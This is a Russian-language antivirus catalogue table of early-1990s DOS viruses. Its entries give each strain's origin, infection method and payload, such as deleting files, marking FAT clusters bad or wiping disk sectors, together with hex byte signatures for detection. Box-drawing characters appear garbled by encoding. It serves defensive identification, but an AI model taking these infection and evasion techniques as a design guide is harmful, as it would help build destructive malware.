ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ EXE _ E-0-xxx _ _1_ _D _Abсk Bx Cn Dn Ion Jn K1 Lx Mn Se _Польша: 1990 _
_ _ _ _ _ _ _ _Затирает начало программы, записывая _
_ _ _ _ _ _ _вместо него свое тело. При запуске за- _
_ _ _ _ _ _ _раженной программы ищет в главном каталоге _
_ _ _ _ _ _ _диска С: и его подкаталогах 6 еще не _
_ _ _ _ _ _ _зараженных программ и заражает их. Кроме _
_ _ _ _ _ _ _того ищет один файл типа DBF и искажает _
_ _ _ _ _ _ _информацию в нем искажая некоторые байты _
_ _ _ _ _ _ _Затем вирус выдает одно сообщение из 42 _
_ _ _ _ _ _ _возможных и возвращает управление MS DOS. _
_ _ _ _ _F _MKS_VIR _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Tiny-158 _RC-158 _Tin_1_<_D _Cy Di Itc Li Se _Болгария: июль 1990 _
_ _ _ _ _ _ _ _При запуске зараженной программы вирус пере-_
_ _ _ _ _ _ _ _писывает себя в свободную оперативную память_
_ _ _ _ _ _ _ _не резервируя ее и перехватывает 21 прерыва-_
_ _ _ _ _ _ _ _ние. Помимо размножение других эффектов нет._
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Tiny-159 _RC-159 _Tin_1_<_D _Cy Di Itc Li Se _Болгария: июль 1990 _
_ _ _ _ _ _ _ _Штамм RC-158 _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Tiny-160 _RC-160 _Tin_1_<_D _Cy Di Itc Li Se _Болгария: июль 1990 _
_ _ _ _ _ _M _ _Штамм RC-158 _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# 163 COM Virus,_C-163 _ _1_ _D _Cy Di Itc Li Sc _Исландия: июль 1990, Fridrik Skulason _
_ Tiny 163 Virus_ _ _ _ _M1_2A2E434F4D00 /*послед.байты зараж. файла*/_При запуске зараженной программы вирус пере-_
_ _ _ _ _ _M2_B4 40 8D 94 AB 01 B9 02 00 CD _писывает себя в свободную оперативную память_
_ _ _ _ _ _ _ _не резервируя ее и перехватывает 21 прерыва-_
_ _ _ _ _ _ _ _ние. Помимо размножение других эффектов нет._
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Tiny-167 _RC-167 _Tin_1_<_D _Cy Di Itc Li Se _Болгария: июль 1990 _
_ _ _ _ _ _M _B4 3F B9 04 00 BA 36 71 06 8B FA 0E _Штамм RC-158 _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Tiny-198 _RC-198 _Tin_1_<_D _Cy Di Itc Li Se _Болгария: июль 1990 _
_ _ _ _ _ _M _B4 3F B9 04 00 BA 36 71 06 8B FA 0E _Штамм RC-158 _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ 277 _ C-277 _IV _1_ _D _An _Болгария: 1990 _
_ _ _ _ _ _ _ _Штамм С-345 с удаленным текстовым сообщением_
_ _ _ _ _ _ _Вместо него вставлен код, обеспечивающий _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ошибку четности в 50% случаев запуска зара- _
_ _ _ _ _ _ _женной программы _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*#$ Kennedy _ C-308 _ _1_ _D _An _США: апрель 1990 _
_ _ -333 ?# _ _ _ _T1_ \COMMAND.COM _Вирус имеет три даты активации 6 июня (поку-_
_ _ _ _ _T2_ The Dead Kennedys _шение на Роберта Кеннеди, 1968), 18 ноября _
_ _ _ _ _M _8C 55 02 B8 01 43 33 C9 CD 21 _(смерть Джозефа Кеннеди, 1969) и 22 ноября _
_ _ _ _ _C _8C5502B8014333C9CD21 _(убийство президента Джона Кеннеди). В эти _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_дни вирус видает на экран текстовую строку _
_ _ _ _ _ _ _ Kennedy is dead - _
_ _ _ _ _ _ _ long live 'The Dead Kennedys' _ _
_ _ _ _ _ _ _Возможны другие проявления типа потерянных _
_ _ _ _ _ _ _кластероы, сращивания файлов, ошибки при _
_ _ _ _ _ _ _чтении FAT _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Anti-Pascal II_ С-400 _AP _ _ _D _Acd Cy Di Itc _Болгария: июнь 1990. _
_ (Aнти-Паскаль), _ _ _ _ _DP_2048 < Len < MaxC _При запуске зараженной программы вирус пыта-_
_ 400 _ _ _ _ _ _ _ется заразить по одному COM-файлу в корневых_
_ _ _ _ _ _ _каталогах всех доступных дисков и один COM _
_ _ _ _ _ _ _файл в текущем каталоге. Если подходящие _
_ _ _ _ _ _ _для заражения два файла не найдены, то вирус_
_ _ _ _ _ _ _проверяет наличие в текущем каталоге файлов _
_ _ _ _ _ _ _с расширениями BAK, BAT или PAS. _
_ _ _ _ _ _ _ Если таковые существуют, то вирус уда- _
_ _ _ _ _ _ _ляет эти файлы. Удаления выполняются только _
_ _ _ _ _ _ _в главных каталогах доступных дисков и теку-_
_ _ _ _ _ _ _щем каталоге. Модифицирует бутсектор винче- _
_ _ _ _ _ _ _стера. Имеются штаммы длиной 440 и 480 байт._
_ _ _ _ _ _ _Последний не удаляет BAT-файлы. _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$Friday the 13th_С-425 _ _1_ _D _Cn Itc Li _ЮАР, 1987 _
COM-virus, _С-512 ? _ _ _ _I _1E8BECC746100001E80000582DD700B _При выполнении зараженного файла вирус ищет _
South Africa-2,_ _ _ _ _+ _104D3E88CCB03C32D100050 _два файла на диске С и один на диске А. _
Virus-B _ _ _ _ _M _ B44FCD2173F758 _Если зараженный файл выполняется в пятницу, _
COM Virus, _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_приходящуюся на 13 число, то он удаляется. _
Miami, _ _ _ _ _ _ _Существует ряд штаммов. _
Munich, _ _ _ _ _ _ _Штамм B заражает все файлы в текущем катало-_
512 Virus _ _ _ _ _ _ _ге и возможно имеет длину 425 байт. _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# VHP-435 _ RC-435 _Ven_1_<_D _Cn Scm _Болгария: июль 1989 _
_ _ _ _ _ _M1_1C 8C 44 02 B8 24 35 CD 21 89 /*штаммVHP-2_При исполнении вирусоносителя заражает еще _
_ _ _ _ _ _M2_07 89 7E 8A 8D 7E 90 89 7E 88 _одну программу в текущем каталоге. Если это _
_ _ _ _ _ _ _ _удается, то пытается заразить программу в _
_ _ _ _ _ _ _главном каталоге диска С. _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Ontario _ RCE-512 _ _2_ _D _Cy Icv Mac Ptt Se To _Канада (Онтарио): июнь 1990, Mike Shields _
_ _ _ _ _ _M _56 2E 8A 84 E8 01 B9 E8 01 F6 _При заражении COM файлов приращение длины _
_ _ _ _ _ _ _ _постоянно и равно 512, а при заражении EXE- _
_ _ _ _ _ _ _ _файлов варьируется в пределах 512-1023. Это _
_ _ _ _ _ _ _ _связано с тем, что вирус заполняет простран-_
_ _ _ _ _ _ _ _ство в конце последнего сектора случайными _
_ _ _ _ _ _ _ _данными (обычно частью каталога) и затем _
_ _ _ _ _ _ _ _дописывает себя к концу файла в виде отдель-_
_ _ _ _ _ _ _ _ного сектора. Используется сложный алгоритм _
_ _ _ _ _ _ _ _шифровки тела и инсталлятора, что делает не-_
_ _ _ _ _ _ _ _возможным детектирование контекстным поиском_
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# PRVS, _ C-453 _ _ _ _D _Сn Itc K1 Sc _Западная Германия: август 1990 _
_ 453 _ _ _ _ _T _TUQ.RPVS _Простой нерезидентный вирус, заражающий _
_ _ _ _ _ _ _ _файлы в текущем каталоге. Признак заражен- _
_ _ _ _ _ _ _ _ности файла - 9090h в последних двух байтах _
_ _ _ _ _ _ _ _тела вируса. _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Shake Virus _ RC-476 _ ! _1_<_D _Ab Bt Cy Itc So Mlm _Болгария: май 1990 _
_ _ _ _ _ _M _31 D2 8B CA CD 21 3D 00 F0 73 _При выполнении зараженной программы вирус _
_ _ _ _ _ _ _ _инсталлируется в память, изменяя транзитную _
_ _ _ _ _ _ _ _часть COMMAND.COM или присоединясь к блоку _
_ _ _ _ _ _ _ _памяти, занимаемому COMMAND.COM. Файлы зара-_
_ _ _ _ _ _ _ _жаются при доступе. При выполнении заражен- _
_ _ _ _ _ _ _ _ной программы иногда выдается сообщение _
_ _ _ _ _ _ _ _ Shake well before use ! _
_ _ _ _ _ _ _ _и управление возвращается в MS DOS. Повтор- _
_ _ _ _ _ _ _ _ная попытка ведет к успешному выполнению _
_ _ _ _ _ _ _ _программы _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Anti-Pascal _ С-605 _AP _1_<_D _Acd Cy Di St2 _Болгария: июнь 1990. _
_ (Aнти-Паскаль), _ _ ! _ _ _DP_Atr != R & 605 < LenC < 64930 _При запуске зараженной программы вирус пыта-_
_ 605 _ _ _ _ _T _COMBAKPAS???EXE /* смещение 0x17 */ _ется заразить еще два COM-файла на текущем _
_ _ _ _ _ _ _ _диске или диске D. Если подходящие два файла_
_ _ _ _ _ _ _ _не найдены, то вирус проверяет наличие в те-_
_ _ _ _ _ _ _ _кущем каталоге файлов с расширением BAK или _
_ _ _ _ _ _ _PAS. Если таковые существуют, то он записы- _
_ _ _ _ _ _ _выет в них собственный код и переименовывает_
_ _ _ _ _ _ _в COM или, если соответствующий COM-файл _
_ _ _ _ _ _ _существует, то в EXE. В последнем случае из-_
_ _ _ _ _ _ _за ошибки переименование не срабатывает _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# Do Nothing, _RC-608 _ _1_ _D _An Dn Li Km _Израиль, октябрь 1989, Uval Tal. _
Stupid, _RC-583 ? _ _ _ _M _72 04 50 EB 07 90 B4 4C _Остается резидентным, копируя себя начиная _
$ 640K COM virus_ _ _ _ _C _B9DC01BED02EBF00018CCA8EDABA0098 _с адреса 9800:0000. Поэтому рабоспособен _
_ _ _ _ _ _ _только на ПЭВМ с оперативной памятью 640K. _
_ _ _ _ _ _ _При выполнении зараженной программы вирус _
_ _ _ _ _ _ _ищет в текущем каталоге первый COM-файл и _
_ _ _ _ _ _ _заражает его независимо от того был он уже _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_заражен или нет _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$ Icelandic II _RE-632 _ _1_~_D _Cn Di Itp K1 Za(r) _Исландия, июль 1989 _
(Исладский II) _ _ _ _ _I _8CDB4B8EDBB04DA20000A103002D8000 _Штамм RE-656. В отличие от последнего из- _
System Virus _ _ _ _ _+ _A3030003D8438EC333F633FF0E1FB9D007 _меняет при заражении дату на дату заражения _
(системный вирус)_ _ _ _ _M _A3030003D8438EC333F633FF _сбрасывает и не восстанавливает атрибут _
One In Ten _ _ _ _ _C _30BE0000B82E3A3B04741546E2F9B900 _READ ONLY. Свободные кластеры в FAT не отме-_
(один из десяти) _ _ _ _ _ _ _чает как сбойные. Механизм заражения иденти-_
_ _ _ _ _ _ _чен механизму RE-656, однако при заражении _
_ _ _ _ _ _ _вирус способен обходить резидентные сторожа _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_типа FluShot+ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_* Vcomm _ E-637 # _!!!_2_<_D _Itp512 _Польша, Израиль: декабрь 1989 _
_ _ -1074 $?_ _ _ _M _77 02 B9 20 00 B4 4E CD 21 _При запуске зараженной программы вирус _
_ _ _ _ _ _ _заражает еще один EXE-файл в текущем _
_ _ _ _ _ _ _каталоге. При заражении файла вирус _
_ _ _ _ _ _ _выполняет экзотическое выравнивание: на _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_границу сектора (до величины, кратной 512), _
_ _ _ _ _ _ _а затем дописывает свое тело в конец файла _
_ _ _ _ _ _ _Сведения о проявлениях противоречивы. По _
_ _ _ _ _ _ _данным П.Хоффман вирус перехватывает _
_ _ _ _ _ _ _операции записи на диск и превращает из в _
_ _ _ _ _ _ _операции чтения. По данным фирмы CARMEL _
_ _ _ _ _ _ _вирус модифицирует в оперативной памяти _
_ _ _ _ _ _ _COMMAND.COM так, что команда COPY больше не _
_ _ _ _ _ _ _работает. _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# Saratoga/ _RE-642 _ _1_~_D _Cn Itp K1 Mhm Za(r) _Исландия, 1988 _
Icelandic _ -640 ? _ _ _ _I _8CDB4B8EDBB04DA20000A103002D8000 _Копирует себя в конец оперативной памяти _
(Саратога/ _ _ _ _ _+ _A3030003D8438EC333F633FF0E1FB9D007 _уменьшая размер доступной MS DOS памяти на _
Исланский) _ _ _ _ _M _A3030003D8438EC333F633FF _2K. Заражает каждую вторую исполняемую про-_
$ Saratoga _ _ _ _ _C _CB26C6067F03FFB452CD21268B47FE8E _грамму. Отмечает один кластер в FAT как _
One in Two _ _ _ _ _ _ _сбойный Механизм заражения идентичен меха- _
_ _ _ _ _ _ _низму RE-656, однако как и RE-632 при зара- _
_ _ _ _ _ _ _жении вирус способен обходить резидентные _
_ _ _ _ _ _ _сторожа типа FluShot+. Для маскировки зани-_
_ _ _ _ _ _ _маемого блока в оперативной памяти он марки-_
_ _ _ _ _ _ _рует его как принадлежащий операционной сис-_
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_теме. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# Lisbon Virus _ C-648L _ _1_ _D _Ak Dn Itp K1 Li Sp1 _Португалия, ноябрь 1989, Jean Luz. _
(Лиссабонский)_ _ _ _ _M1_8B 44 79 3D 0A 00 72 DE _Штамм С-648а,в котором в первые пять байтов _
_ _ _ _ _M2_89 7C 16 90 89 F7 83 C7 1F 90 _уничтожаемых программ записывается строка _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_@AIDS. Вирус очень близок к оригинальному,_
_ _ _ _ _ _ _однако команды смещены на два байта с тем, _
_ _ _ _ _ _ _чтобы избежать детектирования программами, _
_ _ _ _ _ _ _пассчитанными на обнаружение С-648 _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# 651 _RCE-0651 _ _1_ _D _An Ds62 Itc Msl Se _Болгария, конец 1989 г. _
_ Eddie 3, _ _ _ _ _DP_651 < LenC < 64372 _Маскирует увеличение длины на зараженной _
_ _ _ _ _ _DR_1K _машине, вычитая длину для файлов с 62 сек. _
_ _ _ _ _ _M _67 17 E0 26 81 6F 1D 8B 02 26 _Уменьшает размер доступной памяти на 1К _
_ _ _ _ _T _Eddie Lives. _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$ Icelandic _RE-656 _ _1_._D _Itp Mm _Исландия, июнь 1989 _
(Исланский), _ -661 ? _ _ _ _I _26C6067F03FFB452CD212E8C066D022 _Копирует себя в конец оперативной памяти _
656, _ -652 ? _ _ _ _+ _68B47FE8EC026030603004040 _уменьшая размер доступной MS DOS памяти на _
One In Ten _ _ _ _ _C _700074053D00F075E926C6067F03FFB4 _2K. Если при инсталляции вирус обнаруживает,_
(один из 10), _ _ _ _ _ _ _что прерывание 13 перехвачено, то он не за- _
Disk Crunching_ _ _ _ _ _ _ражает программы. Если прерывание 13 указы- _
Virus _ _ _ _ _ _ _вает на BIOS, то вирус прехватывает его и _
_ _ _ _ _ _ _заражает каждую десятую исполняемую програм-_
_ _ _ _ _ _ _му. При наличии винчестера 20M или больше _
_ _ _ _ _ _ _каждый раз при заражении программу отмечает _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_один свободный кластер в FAT как сбойный _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*$ Saturday 14th,_RCE-685 _ _1_ _D _Az Cn Itp-tp To _ЮАР: март 1990. _
_ Durban _ -681 ? _ _ _ _M1_1F B8 24 35 CD 21 8C 06 6F _Каждую субботу, которая приходится на 14 _
_ _ _ _ _M2_0E 1F B8 24 35 CD 21 8C 06 6F _число уничтожает первые 100 секторов диска _
_ _ _ _ _C _A4E2FDB4DECD2180FCDF7447C6067102 _на дисках A,B,C _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Flash _RCE-688 _ _1_ _D _Cn Itc-tx Se1 _Западная Германия: июль 1990. _
_ _ _ _ _ _DP_500 < LenCE _При инсталляции вирус записывает тело в _
_ _ _ _ _ _DR_976 _старшие адреса и обьем свободной памяти _
_ _ _ _ _ _M _B0 00 FA D5 0A 88 07 EB 05 EA C0 _уменьшается на 976 байт. Анализ прерываний _
_ _ _ _ _ _ _ _показывает, что адреса прерываний 00, 23, _
_ _ _ _ _ _ _24, 30, ED, F5 и FB указывают на свободную _
_ _ _ _ _ _ _память. Общее количество памяти, сообщаемое _
_ _ _ _ _ _ _MS DOS а также количество памяти, использу- _
_ _ _ _ _ _ _емое операционной системой и резидентными _
_ _ _ _ _ _ _программами не меняется _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Sorry _ RC-731 _ _ _ _D _Cy Itc Se1 _июнь 1990. _
_ G-Virus V1.3 _ _ _ _ _HR_21 _Штамм RC-765. Проявления неизвестны _
_ _ _ _ _ _DP_ _ _
_ _ _ _ _ _DR_u1024 _ _
_ _ _ _ _ _M _EB 96 83 2E 12 00 40 83 2E 03 _ _
_ _ _ _ _ _T1_G-VIRUS V1.3 _ _
_ _ _ _ _ _T2_Bitte gebe den G-Virus Code ein _ _
_ _ _ _ _T3_Tut mir Leid ! _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Taiwan _ C-743 _ _1_ _D _Cy Ihc K1 Ph Src3 _Тайвань, 1990. _
_ (Тайвань), _ _ _ _ _M _8A 0E 95 00 81 E1 FE 00 BA 9E _При выполнении зараженной программы ищет _
_ $ Taiwan 2 _ _ _ _ _C _58004101268C0E5A0007E4210C02E621 _на диске С незараженный файл и заражет его _
_ (Тайвань 2), _ _ _ _ _ _ _Записывает себя в начало файла, перенося _
_ Sunny virus _ _ _ _ _ _ _соответствующую часть оригинальной программы_
(Солнечный) _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_в конец файла _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*#$ Perfume, _RC-765 _ _2_ _D _Cn Se1 _Западная Германия, Польша: декабрь 1989 _
_ 765, _ -768 ? _ _ _ _M1_A4 81 EC 00 04 06 BF BA 00 57 CB _Сведения о вирусе противоречивы. _
_ 4711 _ _ _ _ _M2_04 06 BF BA 00 57 CB 0E 1F 8E 06 _По данным Хоффман он нерезидентен, заражает _
_ _ _ _ _C _832E030040B82135CD212E891E61002E _COMMAND.COM, дает постоянное приращение _
_ _ _ _ _ _ _зараженных файлов, иногда задает вопрос, _
_ _ _ _ _ _ _правильным ответом на который является 4711 _
_ _ _ _ _ _ _(по видимому название или код какой-то не- _
_ _ _ _ _ _ _мецкой парфюмерии). _
_ _ _ _ _ _ _По другим данным вирус резидентен, _
_ _ _ _ _ _ _записывает себя в старшие адреса памяти, _
_ _ _ _ _ _ _(1024 байта). Находясь в памяти заражает _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_каждую выполняемую программу _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Ambulance Car _ C-796 _ _1_ _D _Bmv Cn _Западная Германия, июнь 1990 _
_ (Скорая помощь),_ _ _ _ _M _52 8B 9C 17 04 B9 19 03 8D 94 _При исполнении зараженной программы ищет _
_ RedX _ _ _ _ _C _023DCD21898417048B9C1704B903008D _жертву на диске C: и затем заражает один _
_ (Красный крест) _ _ _ _ _ _ _COM-файл в любом каталоге, При этом заража- _
_ _ _ _ _ _ _емый файл не должен быть первым COM-файлом _
_ _ _ _ _ _ _в данном каталоге. Фаза проявления наступает_
_ _ _ _ _ _ _при выполнении зараженной программы в опре- _
_ _ _ _ _ _ _деленный (случайный ?) момент времени. При _
_ _ _ _ _ _ _этом в нижней части эерана появляется изоб- _
_ _ _ _ _ _ _женной с помощью псевдографики изображение _
_ _ _ _ _ _ _скорой помощу с красным крестом, которая _
_ _ _ _ _ _ _проезжает по экрану слева направо со звуком _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_сирены. _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# V800, _ RC-800 _DAv_1_<_D _Cn Itc Km Mc Se _Болгария: май 1990. _
_ Live after Death_ _ _ _ _HR_2A _Вирус содержит в зашифрованном виде строку _
_ _ _ _ _ _DR_h 16K _Live after Death _
_ _ _ _ _ _DP_1024 < LenC _ _
_ _ _ _ _M _51 AD 33 D0 E2 FB 59 31 15 47 _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# V800M _ RC-800m _DAv_1_<_D _Cn Itc Km Mc Seо _Болгария: май 1990. _
_ Live after Death_ _ _ _ _HR_2A _Штамм RC-800 не содержащий строки _
_ _ _ _ _ _DR_h 8192 _Live after Death. Заражает файлы и при _
_ _ _ _ _ _DP_1024 < LenC _открытии. Уменьшает обьем свободной памяти _
_ _ _ _ _M _51 AD 33 D0 E2 FB 59 31 15 47 _не на 16K, а на 8192. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Icelandic-III _RE-853 _ _1_ _D _Itp Mm _Исландия: декабрь 1989. _
_ December 24th _ _ _ _ _M _24 2E 8F 06 3B 03 90 2E 8F 06 _Штамм RE-656. Не заражает программы, инфици-_
_ _ _ _ _ _C _24 2E 8F 06 3B 03 90 2E 8F 06 _рованные вирусами RC-656 и RC-632. Если ин- _
_ _ _ _ _ _ _ _фицированная программа запускается 24 декаб-_
_ _ _ _ _ _ _ _ря, то через некоторое время на экран выда- _
_ _ _ _ _ _ _ется сообщение Gledileg jol (Счастливого _
_ _ _ _ _ _ _Рождества на исландском языке). _
_ _ _ _ _ _ _ _
